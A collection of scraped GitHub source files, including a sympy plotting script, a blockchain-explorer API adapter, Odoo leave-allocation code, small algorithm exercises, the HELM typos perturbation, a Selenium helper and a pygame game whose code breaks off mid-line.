{"seq_id":"15815880035","text":"from multipart_partitions import *\nimport numpy as np\nfrom tqdm import tqdm\nimport pprint\nimport matplotlib.pyplot as plt\n\n\ndef eval_sympy_stuff(sympy_expression, i, j, bs, bv):\n    if sympy_expression == r14:\n        return 0.25\n    elif sympy_expression == r34:\n        return 0.75\n    elif sympy_expression == r94:\n        return 2.25\n    elif sympy_expression == 0 or sympy_expression == 1:\n        return sympy_expression\n    else:\n        return sympy_expression.subs([(b_v, bv), (b_s, bs), (x, i), (y, j)])\n\n\ndef draw_case(parti_, bss, bvv):\n\n    for i in range(len(case_to_show)):\n        draw_case(case_to_show[i], print(parti_))\n        iis, jjs, ffs = [], [], []\n        for i_ in np.arange(0, 1, 0.01):\n            for j_ in np.arange(0, 1, 0.01):\n                lower_i = eval_sympy_stuff(parti_.x_0, i_, j_, bss, bvv)\n                upper_i = eval_sympy_stuff(parti_.x_1, i_, j_, bss, bvv)\n                lower_j = eval_sympy_stuff(parti_.y_0, i_, j_, bss, bvv)\n                upper_j = eval_sympy_stuff(parti_.y_1, i_, j_, bss, bvv)\n                if lower_i < i_ < upper_i and lower_j < j_ < upper_j:\n                    iis.append(i_)\n                    jjs.append(j_)\n        plt.plot(iis, jjs)\n\n    x1, y1 = [0.25, 0.25], [0, 1]\n    x2, y2 = [0, 1], [0.25, 0.25]\n    x3, y3 = [0.75, 0.75], [0, 1]\n    x4, y4 = [0, 1], [0.75, 0.75]\n    plt.xlim(0, 1), plt.ylim(0, 1)\n    plt.plot(x1, y1, x2, y2, x3, y3, x4, y4)\n    plt.axis('square')\n    plt.show()\n\n\ndef integrate_param(param):\n    return simplify(\n        param.pre * integrate(\n            param.loc * param.pi,\n            (x, param.x_0, param.x_1),\n            (y, param.y_0, param.y_1)\n        )\n    )\n\n\ndef eval_para(case: list) -> object:\n    \"\"\"\n  Evaluate a case going througth all the partitions and integrate the parameters\n  each of them\n  Args:\n    case: list of Para-s\n  \"\"\"\n    simpara = 0\n    for param in case:\n        simpara += integrate_param(param)\n    # pretty_print(simplify(simpara))\n    return simplify(simpara)\n\n\ndef analytical_multi_part(b_v_, b_s_, c_v_, c_s_):\n    for case in expressions_using_functions:\n        lower_b_v_bound, upper_b_v_bound = case['b_v']\n        for b_s_bound in case['b_ss']:\n            lower_b_s_bound, upper_b_s_bound = b_s_bound['b_s']\n            lower_b_s_bound = lower_b_s_bound if lower_b_s_bound == 0 else lower_b_s_bound.subs([(b_v, b_v_)])\n            upper_b_s_bound = upper_b_s_bound.subs([(b_v, b_v_)])\n            if lower_b_s_bound <= b_s_ < upper_b_s_bound and lower_b_v_bound <= b_v_ < upper_b_v_bound:\n                expression_defi = b_s_bound['areas']\n                evaluation = expression_defi(b_v_, b_s_, c_v_, c_s_)[0]\n                return evaluation\n\n\ndef rewrite_multipart():\n    for case in tqdm(cases):\n        for b_s_bound in case['b_ss']:\n            b_s_bound['areas'] = eval_para(b_s_bound['areas'])\n    pprint.pprint(cases)\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n    case_to_show = Case1f\n    for i in range(len(case_to_show)):\n        draw_case(case_to_show[i], 1, 0.1)\n\n    rewrite_multipart()\n\n    expression = eval_para(Case1a)\n    print(expression)\n    rewrite_multipart()\n    # print(expression.evalf(subs={'b_s': 0.1, 'b_v': 0.1, 'c_v': 0.5, 'c_s': 0.2}))\n    delta = 0.01\n    for xx in tqdm(np.arange(0, 1, delta)):\n        for yy in np.arange(0, 1, delta):\n            analytical_multi_part(xx, yy, 0.5, 0.2)\n    \"\"\"d_b_s = diff(output, b_s)\n    d_b_v = diff(output, b_v)\n    d_b_s_s = diff(diff(output, b_s), b_s)\n    d_b_v_v = diff(diff(output, b_v), b_v)\n    d_b_s_v = diff(diff(output, b_s), b_v)\n    d_b_v_s = diff(diff(output, b_v), b_s)\n    print(\"o_b_s:\", d_b_s)\n    print(\"o_b_v:\", d_b_v)\n    print(\"o_b_s_s:\", d_b_s_s)\n    print(\"o_b_v_v:\", d_b_v_v)\n    print(\"o_b_s_v:\", d_b_s_v)\n    print(\"o_b_v_s:\", d_b_v_s)\n\n    \"\"\"\n    # print(output.subs([(c_s, 0.2), (c_v, 0.5)]))\n    f = open(\"multioutput\", \"w\")\n    f.write(str(expression))\n    f.close()\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"llbalkall/Thesis-work-2022","sub_path":"legacy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"24881120862","text":"import logging\nimport traceback\nfrom typing import Tuple, Generator, Optional\n\nimport requests\n\nfrom models.chain import Chain\nfrom models.contract import Contract\nfrom models.transaction import Transaction\nfrom schemas.blockscan import BlockScanTransaction, TokenInfo\nfrom settings import settings\n\n\nclass Blockscan:\n    \"\"\" Blockscan API adapter \"\"\"\n\n    @classmethod\n    def _get_url_and_key(cls, chain: Chain) -> Tuple[str, str]:\n        if chain.id == 1:\n            return 'https://api.etherscan.io/api', settings.etherscan_api_key.get_secret_value()\n        elif chain.id == 56:\n            return 'https://api.bscscan.com/api', settings.bscscan_api_key.get_secret_value()\n        elif chain.id == 137:\n            return 'https://api.polygonscan.com/api', settings.polygon_api_key.get_secret_value()\n        else:\n            raise ValueError('Invalid chain name')\n\n    @classmethod\n    def _get_latest_block(cls, contract: Contract):\n        return Transaction.select(Transaction.block_number).where(\n            Transaction.contract == contract\n        ).order_by(\n            Transaction.block_number.desc()\n        ).limit(1).scalar() or 0\n\n    @classmethod\n    def get_transactions(cls, contract: Contract) -> Generator[BlockScanTransaction, None, None]:\n\n        url, api_key = cls._get_url_and_key(contract.chain)\n        logging.info(f'Get Transactions for {contract.token_name} ({contract.address} on {contract.chain.name})')\n\n        if contract.erc_standard == 20:\n            action_type = 'tokentx'\n        elif contract.erc_standard == 721:\n            action_type = 'tokennfttx'\n        elif contract.erc_standard == 1155:\n            action_type = 'token1155tx'\n        else:\n            raise ValueError('Invalid contract type')\n\n        params = {\n            'module': 'account',\n            'action': action_type,\n            'contractaddress': contract.address,\n            'sort': 'asc',\n            'offset': 5000,  # 10k is maximum, but might cause timeouts\n            'apikey': api_key,\n            'page': 1,\n            'endblock': 'latest'\n        }\n\n        latest_block = cls._get_latest_block(contract)\n        while True:\n\n            params['startblock'] = latest_block + 1\n            logging.info(f'Latest block: {latest_block}')\n            r = requests.get(url, params=params)\n            items = r.json()['result']\n\n            if not items:\n                logging.info(f'No more items: {r.text}')\n                break\n\n            logging.info(f'Got {len(items)} items')\n\n            items = [BlockScanTransaction(**item) for item in items]\n            new_latest_block = max(items, key=lambda x: x.block_number).block_number\n\n            logging.info(f'Latest block from received transactions: {new_latest_block}')\n\n            yield from items\n\n            if new_latest_block == latest_block and len(items) == params['offset']:\n                logging.warning(\n                    f'Block has more transactions than data window is capable of returning. '\n                    f'To avoid infinite loop contract {contract.address} will be skipped'\n                )\n                break\n\n            latest_block = new_latest_block\n\n    @classmethod\n    def get_info(cls, contract_address: str, chain: Chain) -> Optional[TokenInfo]:\n        url, api_key = cls._get_url_and_key(chain)\n\n        params = {\n            'module': 'token',\n            'action': 'tokeninfo',\n            'contractaddress': contract_address,\n            'apikey': api_key,\n        }\n\n        r = requests.get(url, params=params)\n\n        data = r.json()\n\n        if data['status'] != '1':\n            logging.info(data)\n            raise ValueError(data['message'])\n\n        try:\n            return TokenInfo(**r.json()['result'][0])\n        except Exception:\n            traceback.print_exc()\n            return None\n\n","repo_name":"conductiveai/web3-token-gate","sub_path":"backend/src/adapters/blockscan.py","file_name":"blockscan.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"71745085232","text":"# -*- coding: utf-8 -*-\n\nfrom datetime import datetime, time\nfrom dateutil.relativedelta import relativedelta\n\nfrom odoo import api, fields, models\nfrom odoo.addons.resource.models.resource import HOURS_PER_DAY\nfrom odoo.exceptions import AccessError, UserError, ValidationError\nfrom odoo.tools.translate import _\nfrom odoo.tools.float_utils import float_round\nfrom collections import defaultdict\n\nLOG_ACCESS_COLUMNS = ['create_uid', 'create_date', 'write_uid', 'write_date']\nMAGIC_COLUMNS = ['id'] + LOG_ACCESS_COLUMNS\n\n\nclass HolidaysAllocation(models.Model):\n    _inherit = \"hr.leave.allocation\"\n\n    accrual = fields.Boolean(\"Accrual\", readonly=True,\n                             states={'draft': [('readonly', False)], 'confirm': [('readonly', False)]})\n    is_used = fields.Boolean()\n    is_annual_allocation = fields.Boolean(\"Is Annual Allocation\", default=False)\n    nextcall = fields.Date(\"Date of the next accrual allocation\", default=False, readonly=False)\n\n\n    def activity_update(self):\n        pass\n\n    def _check_approval_update(self, state):\n        \"\"\" Check if target state is achievable. \"\"\"\n        current_employee = self.env['hr.employee'].search([('user_id', '=', self.env.uid)], limit=1)\n        is_officer = self.env.user.has_group('hr_holidays.group_hr_holidays_user')\n        is_manager = self.env.user.has_group('hr_holidays.group_hr_holidays_manager')\n        for holiday in self:\n            val_type = holiday.holiday_status_id.sudo().leave_validation_type\n            if state == 'confirm':\n                continue\n\n            if state == 'draft':\n                if holiday.employee_id != current_employee and not is_manager:\n                    raise UserError(_('Only a Leave Manager can reset other people leaves.'))\n                continue\n\n            # if not is_officer:\n            #     raise UserError(_('Only a Leave Officer or Manager can approve or refuse leave requests.'))\n\n            if is_officer:\n                # use ir.rule based first access check: department, members, ... (see security.xml)\n                holiday.check_access_rule('write')\n\n            # if holiday.employee_id == current_employee and not is_manager:\n            #     raise UserError(_('Only a Leave Manager can approve its own requests.'))\n\n            if (state == 'validate1' and val_type == 'both') or (state == 'validate' and val_type == 'manager'):\n                manager = holiday.employee_id.parent_id or holiday.employee_id.department_id.manager_id\n                if (manager and manager != current_employee) and not self.env.user.has_group(\n                        'hr_holidays.group_hr_holidays_manager'):\n                    raise UserError(_('You must be either %s\\'s manager or Leave manager to approve this leave') % (\n                        holiday.employee_id.name))\n\n            if state == 'validate' and val_type == 'both':\n                if not self.env.user.has_group('hr_holidays.group_hr_holidays_manager'):\n                    raise UserError(_('Only an Leave Manager can apply the second approval on leave requests.'))\n\n    \n    @api.returns(None, lambda value: value[0])\n    def copy_data(self, default=None):\n        \"\"\"\n        Copy given record's data with all its fields values\n\n        :param default: field values to override in the original values of the copied record\n        :return: list with a dictionary containing all the field values\n        \"\"\"\n        # In the old API, this method took a single id and return a dict. When\n        # invoked with the new API, it returned a list of dicts.\n        self.ensure_one()\n        if not self._context.get('force_copy', False):\n            raise UserError(_('A leave cannot be duplicated.'))\n\n        # avoid recursion through already copied records in case of circular relationship\n        if '__copy_data_seen' not in self._context:\n            self = self.with_context(__copy_data_seen=defaultdict(set))\n        seen_map = self._context['__copy_data_seen']\n        if self.id in seen_map[self._name]:\n            return\n        seen_map[self._name].add(self.id)\n\n        default = dict(default or [])\n        if 'state' not in default and 'state' in self._fields:\n            field = self._fields['state']\n            if field.default:\n                value = field.default(self)\n                value = field.convert_to_cache(value, self)\n                value = field.convert_to_record(value, self)\n                value = field.convert_to_write(value, self)\n                default['state'] = value\n\n        # build a black list of fields that should not be copied\n        blacklist = set(MAGIC_COLUMNS + ['parent_path'])\n        whitelist = set(name for name, field in self._fields.items() if not field.inherited)\n\n        def blacklist_given_fields(model):\n            # blacklist the fields that are given by inheritance\n            for parent_model, parent_field in model._inherits.items():\n                blacklist.add(parent_field)\n                if parent_field in default:\n                    # all the fields of 'parent_model' are given by the record:\n                    # default[parent_field], except the ones redefined in self\n                    blacklist.update(set(self.env[parent_model]._fields) - whitelist)\n                else:\n                    blacklist_given_fields(self.env[parent_model])\n            # blacklist deprecated fields\n            for name, field in model._fields.items():\n                if field.deprecated:\n                    blacklist.add(name)\n\n        blacklist_given_fields(self)\n\n        fields_to_copy = {name: field\n                          for name, field in self._fields.items()\n                          if field.copy and name not in default and name not in blacklist}\n\n        for name, field in fields_to_copy.items():\n            if field.type == 'one2many':\n                # duplicate following the order of the ids because we'll rely on\n                # it later for copying translations in copy_translation()!\n                lines = [rec.copy_data()[0] for rec in self[name].sorted(key='id')]\n                # the lines are duplicated using the wrong (old) parent, but then\n                # are reassigned to the correct one thanks to the (0, 0, ...)\n                default[name] = [(0, 0, line) for line in lines if line]\n            elif field.type == 'many2many':\n                default[name] = [(6, 0, self[name].ids)]\n            else:\n                default[name] = field.convert_to_write(self[name], self)\n\n        return [default]\n\n    @api.model\n    def _update_accrual(self):\n        today = fields.Date.from_string(fields.Date.today())\n        holidays = self.search(\n            [('is_annual_allocation', '=', True), ('employee_id.employee_state', 'in', ['on_job']),\n             ('employee_id.state', 'in', ['on_job', 'trail_period']),\n             ('employee_id.active', '=', True), ('state', '=', 'validate'), ('holiday_type', '=', 'employee'),\n             '|', ('nextcall', '=', False), ('nextcall', '<', today)])\n        delta = relativedelta(days=0)\n        # if not holidays.nextcall and holidays.employee_id.last_return_date:\n        #     diff = today - holidays.employee_id.last_return_date\n        # else:\n        #     diff = today - holidays.nextcall\n        # if diff.days == 30:\n        for holiday in holidays:\n            values = {}\n            values['nextcall'] = (holiday.nextcall if holiday.nextcall else today) + delta\n            contract_id = holiday.employee_id.contract_id\n            if contract_id and contract_id.state == 'open':\n                contract_annual_legal_leave = contract_id.annual_legal_leave\n                if holiday.employee_id.country_id.code == 'SA':\n                    if contract_annual_legal_leave > 30:\n                        days_to_give = contract_annual_legal_leave / 12\n                        balance_per_day = days_to_give / 30\n                    else:\n                        days_to_give = 30 / 12\n                        balance_per_day = days_to_give / 30\n                else:\n                    if contract_annual_legal_leave > 21:\n                        days_to_give = contract_annual_legal_leave / 12\n                        balance_per_day = days_to_give / 30\n                    else:\n                        day_from = fields.Datetime.from_string(contract_id.date_start)\n                        day_to = fields.Datetime.from_string(today)\n                        date_diff = relativedelta(day_to, day_from)\n                        if date_diff.years >= 5:\n                            days_to_give = 30 / 12\n                            balance_per_day = days_to_give / 30\n                        else:\n                            days_to_give = 21 / 12\n                            balance_per_day = days_to_give / 30\n                values['number_of_days'] = holiday.number_of_days + float_round(balance_per_day, precision_digits=3)\n            if values.get('number_of_days', 0) > 0:\n                values['state'] = 'validate'\n                values['nextcall'] = today\n                holiday.write(values)\n        # else:\n        #     return 0\n\n    @api.model\n    def create(self, values):\n        if values.get('holiday_status_id', False) and values.get('employee_id', False):\n            leave_type = self.env['hr.leave.type'].browse(values.get('holiday_status_id'))\n            if leave_type and leave_type.leave_type == 'paid':\n                leave_allocation = self.env['hr.leave.allocation'].search(\n                    [('is_annual_allocation', '=', True), ('employee_id', '=', values.get('employee_id'))]).filtered(\n                    lambda l: l.holiday_status_id.leave_type == 'paid')\n                if len(leave_allocation) > 0:\n                    raise ValidationError(_('Allocation request for this employee already exists'))\n                values['is_annual_allocation'] = True\n        return super(HolidaysAllocation, self).create(values)\n\n    \n    def action_confirm(self):\n        if self.holiday_status_id and self.holiday_status_id.leave_type == 'paid':\n            if not self.is_annual_allocation:\n                self.is_annual_allocation = True\n\n        return super(HolidaysAllocation, self).action_confirm()\n\n    \n    def action_approve(self):\n        for rec in self:\n            if rec.holiday_status_id and rec.holiday_status_id.leave_type == 'paid':\n                if not rec.is_annual_allocation:\n                    rec.is_annual_allocation = True\n        return super(HolidaysAllocation, self).action_approve()\n\n\n    def _action_validate_create_childs(self):\n        childs = self.env['hr.leave.allocation']\n        if self.state == 'validate' and self.holiday_type in ['category', 'department', 'company']:\n            if self.holiday_type == 'category':\n                employees = self.category_id.employee_ids\n            elif self.holiday_type == 'department':\n                employees = self.department_id.member_ids\n            else:\n                employees = self.env['hr.employee'].search([('company_id', '=', self.mode_company_id.id)])\n            employees = employees.filtered(lambda emp: emp.state in ['trail_period','on_job','on_leave'] and emp.employee_state in ['on_job','on_leave'])\n            for employee in employees:\n                childs += self.with_context(\n                    mail_notify_force_send=False,\n                    mail_activity_automation_skip=True\n                ).create(self._prepare_holiday_values(employee))\n            # TODO is it necessary to interleave the calls?\n            childs.action_approve()\n            if childs and self.holiday_status_id.validation_type == 'both':\n                childs.action_validate()\n        return childs\n\n    \n    def action_refuse(self):\n        current_employee = self.env['hr.employee'].search([('user_id', '=', self.env.uid)], limit=1)\n        if not self.env.user.has_group('base.group_system') and not self.env.user.has_group('hr_holidays.group_hr_holidays_manager'):\n            raise UserError(_('No access right for this action!.'))\n        if any(holiday.state not in ['confirm', 'validate', 'validate1'] for holiday in self):\n            raise UserError(_('Leave request must be confirmed or validated in order to refuse it.'))\n        validated_holidays = self.filtered(lambda hol: hol.state == 'validate1')\n        validated_holidays.write({'state': 'refuse', 'first_approver_id': current_employee.id})\n        # Migration NOte\n        # (self - validated_holidays).write({'state': 'refuse', 'second_approver_id': current_employee.id})\n        (self - validated_holidays).write({'state': 'refuse', 'approver_id': current_employee.id})\n        # If a category that created several holidays, cancel all related\n        linked_requests = self.mapped('linked_request_ids')\n        if linked_requests:\n            linked_requests.action_refuse()\n        self.activity_update()\n        return True\n","repo_name":"tabishturabi/S_V_16_temp_v1","sub_path":"bsg_hr_payroll/models/hr_leave_allocation.py","file_name":"hr_leave_allocation.py","file_ext":"py","file_size_in_byte":12922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"23435509546","text":"# Task 5\n# Press the 'Run File' menu button to execute\n\ndef coins(a,c):\n    #print(a,c)\n    if a>=50:\n        return \" 50\"+coins(a-50,c)\n    elif a>=20:\n        return \" 20\"+ coins(a-20,c)\n    elif a>=10:\n        return \" 10\"+ coins(a-10,c)\n    elif a>=5:\n        return \" 5\"+ coins(a-5,c)\n    elif a>=2:\n        return \" 2\"+ coins(a-2,c)\n    elif a>=1:\n        return \" 1\" +coins(a-1,c)\n    else:\n        return c\n        \nimport random #will generate a few random amounts for testing\nfor j in range(1,10):\n    testAmount=random.randint(1,99)\n    print(\"change for\",testAmount,\" is\",coins(testAmount,\"\"))","repo_name":"codio-gcse-2014/teacher-python-2","sub_path":"08-recursion/task-5.py","file_name":"task-5.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"42983855149","text":"'''\n첫 번째 분수의 분자와 분모를 뜻하는 denum1, num1, 두 번째 분수의 분자와 분모를 뜻하는 denum2, num2가 \n매개변수로 주어집니다. 두 분수를 더한 값을 기약 분수로 나타냈을 때 분자와 분모를 순서대로 담은 \n배열을 return 하도록 solution 함수를 완성해보세요.\n\n'''\n\ndef solution(denum1, num1, denum2, num2):\n    denum = denum1*num2 + denum2*num1\n    num = num1*num2\n    a,b = denum, num\n    while(True):\n        r = a - b*(a//b)\n        a = b\n        b = r\n        if b==0:\n            break\n    answer = [denum/a,num/a]\n    return answer\n\n'''\n코딩테스트 입문 수준 문제를 풀다가 기록 남김\nmath 모듈이나 fraction 모듈을 사용하는 방법이 있지만\n유클리드 호제법을 이용하여 풀어봤다.\n다른 풀이들의 경우 1씩 더해서 일일이 나눠보는 등의 풀이를 하고 있어서\n이 풀이가 깔끔하다고 생각된다.\n'''","repo_name":"noir1458/coding_test","sub_path":"programmers/Python_test/분수의 덧셈(유클리드 호제법).py","file_name":"분수의 덧셈(유클리드 호제법).py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26509663154","text":"class Solution:\n    # Greedy (Accepted), O(g log g + s log s) time, O(g + s) space, where g, s = len(g), len(s)\n    def findContentChildren(self, g: List[int], s: List[int]) -> int:\n        g.sort()\n        s.sort()\n        i = j = 0\n        while i < len(g) and j < len(s):\n            if g[i] <= s[j]:\n                i, j = i+1, j+1\n            else:\n                j += 1\n        return i\n\n    # # Greedy (Top Voted), O(g log g + s log s) time, O(g + s) space, where g, s = len(g), len(s)\n    # def findContentChildren(self, g: List[int], s: List[int]) -> int:\n    #     g.sort()\n    #     s.sort()\n\n    #     childi = 0\n    #     cookiei = 0\n\n    #     while cookiei < len(s) and childi < len(g):\n    #         if s[cookiei] >= g[childi]:\n    #             childi += 1\n    #         cookiei += 1\n\n    #     return childi\n","repo_name":"paulxflin/Pantheon","sub_path":"sols/455.py","file_name":"455.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14473467814","text":"\"\"\"\nnuts  = 3, 5, 4, 1, 2\n\nbolts = 4, 3, 1, 2, 5\n\nno duplicates\ncompare with 1 nut and bolt only, ie cannot compare among\n    nuts or bolts themselves. \n\n- pick a nut, and partition the bolts based on the nut. Automatically the matching bolt will fall in the right location. \n- pick the bolt, and partition the nuts accordingly. \n-- do the above smaller partitions\n\"\"\"\n\ndef _match_nb(nuts, bolts, start, end):\n    if start < end:\n        pivotb = end\n        pivotn = partition(nuts, start, end, bolts[pivotb])\n        pivotb = partition(bolts, start, end, nuts[pivotn])\n        assert(pivotn == pivotn)\n\n        _match_nb(nuts, bolts, start, pivotb-1)\n        _match_nb(nuts, bolts, pivotb+1, end)\n\ndef swap(arr, x, y):\n    arr[x], arr[y] = arr[y], arr[x]\n\ndef partition(arr, start, end, pivotval):\n    left = start\n    right = end\n \n    while left <= right:\n        if arr[left] == pivotval:\n            swap(arr, left, end)\n            right -= 1\n        elif arr[left] < pivotval:\n            left += 1\n        elif arr[right] > pivotval:\n            right -= 1\n        else:\n            swap(arr, left, right)\n\n    swap(arr, end, left)\n    return left\n\ndef match_nb(nuts, bolts):\n    _match_nb(nuts, bolts, 0, len(bolts)-1)\n\nif __name__ == '__main__':\n    nuts = [3, 5, 4, 1, 2]\n    bolts = [4, 3, 1, 2, 5]\n\n    match_nb(nuts, bolts)\n    print(nuts)\n    print(bolts)\n","repo_name":"santoshmano/pybricks","sub_path":"sorting/nuts_bolts.py","file_name":"nuts_bolts.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"23267050920","text":"from dataclasses import dataclass\nfrom random import Random\n\nfrom .perturbation_description import PerturbationDescription\nfrom .perturbation import Perturbation\n\n\nclass TyposPerturbation(Perturbation):\n    \"\"\"\n    Typos. For implementation details, see\n    https://github.com/GEM-benchmark/NL-Augmenter/tree/main/transformations/butter_fingers_perturbation\n\n    Replaces each random letters with nearby keys on a querty keyboard.\n    We modified the keyboard mapping compared to the NL-augmenter augmentations so that: a) only distance-1 keys are\n    used for replacement, b) the original letter is no longer an option, c) removed special characters (e.g., commas).\n\n    Perturbation example:\n\n    **Input:**\n        After their marriage, she started a close collaboration with Karvelas.\n\n    **Output:**\n        Aftrr theif marriage, she started a close collaboration with Karcelas.\n    \"\"\"\n\n    @dataclass(frozen=True)\n    class Description(PerturbationDescription):\n        prob: float = 0.0\n\n    name: str = \"typos\"\n\n    def __init__(self, prob: float):\n        self.prob: float = prob\n\n    @property\n    def description(self) -> PerturbationDescription:\n        return TyposPerturbation.Description(name=self.name, robustness=True, prob=self.prob)\n\n    def perturb(self, text: str, rng: Random) -> str:\n        key_approx = {}\n\n        key_approx[\"q\"] = \"was\"\n        key_approx[\"w\"] = \"qesad\"\n        key_approx[\"e\"] = \"wsdfr\"\n        key_approx[\"r\"] = \"edfgt\"\n        key_approx[\"t\"] = \"rfghy\"\n        key_approx[\"y\"] = \"tghju\"\n        key_approx[\"u\"] = \"yhjki\"\n        key_approx[\"i\"] = \"ujklo\"\n        key_approx[\"o\"] = \"iklp\"\n        key_approx[\"p\"] = \"ol\"\n\n        key_approx[\"a\"] = \"qwsz\"\n        key_approx[\"s\"] = \"weadzx\"\n        key_approx[\"d\"] = \"erfcxs\"\n        key_approx[\"f\"] = \"rtgvcd\"\n        key_approx[\"g\"] = \"tyhbvf\"\n        key_approx[\"h\"] = \"yujnbg\"\n        key_approx[\"j\"] = \"uikmnh\"\n        key_approx[\"k\"] = \"iolmj\"\n        key_approx[\"l\"] = \"opk\"\n\n        key_approx[\"z\"] = \"asx\"\n        key_approx[\"x\"] = \"sdcz\"\n        key_approx[\"c\"] = \"dfvx\"\n        key_approx[\"v\"] = \"fgbc\"\n        key_approx[\"b\"] = \"ghnv\"\n        key_approx[\"n\"] = \"hjmb\"\n        key_approx[\"m\"] = \"jkn\"\n\n        perturbed_texts = \"\"\n        for letter in text:\n            lcletter = letter.lower()\n            if lcletter not in key_approx.keys():\n                new_letter = lcletter\n            else:\n                if rng.random() < self.prob:\n                    new_letter = rng.choice(list(key_approx[lcletter]))\n                else:\n                    new_letter = lcletter\n            # go back to original case\n            if not lcletter == letter:\n                new_letter = new_letter.upper()\n            perturbed_texts += new_letter\n        return perturbed_texts\n","repo_name":"stanford-crfm/helm","sub_path":"src/helm/benchmark/augmentations/typos_perturbation.py","file_name":"typos_perturbation.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","stars":1320,"dataset":"github-code","pt":"38"}
{"seq_id":"25959334886","text":"\"\"\"\n\nДомашнее задание №1\n\nЦикл for: Оценки\n\n* Создать список из словарей с оценками учеников разных классов \n  школы вида [{'school_class': '4a', 'scores': [3,4,4,5,2]}, ...]\n* Посчитать и вывести средний балл по всей школе.\n* Посчитать и вывести средний балл по каждому классу.\n\"\"\"\n\n\ndef main(list_from_school):\n    for element in list_from_school:\n        print(f'Для класса {element[\"school_class\"]}:')\n        print(f\"Оценки в списке: {element['scores']}\")\n        print(f\"Средняя оценка класса {sum(element['scores']) / len(element['scores'])}\\n\")\n        all_summary.append(sum(element['scores']) / len(element['scores']))\n    print(f'Средняя оценка по школе: {sum(all_summary) / len(all_summary)}')\n\n\nif __name__ == \"__main__\":\n    list_for_school = [{'school_class': '4a', 'scores': [3, 4, 5, 5, 4]},\n                       {'school_class': '4б', 'scores': [5, 5, 5, 5, 5, 5]},\n                       {'school_class': '4а', 'scores': [4, 4, 4, 4, 4]},\n                       {'school_class': '4г', 'scores': [2, 2, 3, 4, 4]}]\n    all_summary = []\n    main(list_for_school)\n","repo_name":"Loschev/learn_python_16_Loschev","sub_path":"03_homework1/03_for.py","file_name":"03_for.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"73630639150","text":"from selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\ndef model_present(driver, model):\n    print(\"Looking in search results for \" + model + \" model...\")\n    WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, \".search-resultstable\")))\n    model_list = driver.find_elements(By.XPATH, \"//*[@data-uname = 'lotsearchLotmodel']\")\n    try:\n        for models in model_list:\n            if model == models.text:\n                print(\"Found \" + model + \" in model list\")\n                break\n        raise ValueError\n    except TimeoutError:\n        print(\"Test timed out before completion.\")\n    except ValueError:\n        print(model + \" was not found in model list.\")","repo_name":"IanEarley/PythonWebDriverSTGCertification","sub_path":"challenge6/model_present.py","file_name":"model_present.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"5693256774","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\n\nimport pygame as pg, random, math\npg.init()\n\n#設定視窗背景\nwidth, height = 1500, 920                      \nscreen = pg.display.set_mode((width, height))  \nfont = pg.font.SysFont(\"simhei\", 100)\npg.display.set_caption(\"asiagodtone's game\")         \nbg = pg.Surface(screen.get_size())\nbg = bg.convert()\nbg.fill((255,255,255))\ntext = font.render(\"Press Left Click Button to start game!\", True, (0,0,0), (255,255,255))\nbg.blit(text, (50,50))\n\n#亞統\nball = pg.image.load(\"德克斯特.jpg\").convert()\nball = pg.transform.scale(ball, (64,64))\nrect = ball.get_rect()\nrect.center = (750,450)                 \nclock = pg.time.Clock()\n\n#trash can\ncan = pg.image.load(\"trash_with_liner.jpg\").convert()\ncan = pg.transform.scale(can, (128,128))\ncan_rect = can.get_rect()\ncan_rect.center = (random.randint(100,850),856)\n\n\n\n# GAME\n\nscore = 0\nrunning = True\nplaying = True  #開始時球不能移動\nthrowing = False\nstop = True\ntimerON = False\ntimer = [pg.time.get_ticks(), pg.time.get_ticks()]\ntimeUse = timer[-1] - timer[0]\nwhile running:\n    clock.tick(60)  #每秒執行60次\n    for event in pg.event.get():\n        if event.type == pg.QUIT:\n            running = False\n        elif event.type == pg.MOUSEBUTTONDOWN:\n            buttons = pg.mouse.get_pressed()\n            \n            if buttons[0]:          #按滑鼠左鍵後球可移動\n                playing = True\n                throwing = False\n                stop = True\n                timerON = True\n\n        elif event.type == pg.MOUSEBUTTONUP:\n            playing = False\n            throwing = True\n            stop = False\n            \n########################################################################################\n    if timerON == True:\n        timer[-1] = pg.time.get_ticks()\n        timeUse = timer[-1] - timer[0]\n        #text = font.render(\"Press Left Click Button to start game!\", True, (255,255,255), (255,255,255))\n        bg.blit(text, (50,50))\n        screen.blit(bg, (0,0))\n        SCORE = \"Score: \" + str(score) + \" \"\n        text = font.render(SCORE, True, (0,0,0), (255,255,255))\n        TIME = font.render(\"Time: \" + str(timeUse/1000)+\" sec  \", True, (0,0,0), (255,255,255))\n        bg.blit(TIME, (50,150))\n        bg.blit(text, (50,50))\n        screen.blit(bg, (0,0))\n        screen.blit(ball, rect.topleft) \n        screen.blit(can, can_rect.topleft)\n        pg.display.update()\n    else:\n        timer[0] = pg.time.get_ticks()\n            \n            \n            \n#######################################################################################\n    if playing == True:\n        mouses = pg.mouse.get_pos()  #取得滑鼠坐標\n        rect.centerx = mouses[0]     #移動滑鼠\n        rect.centery = 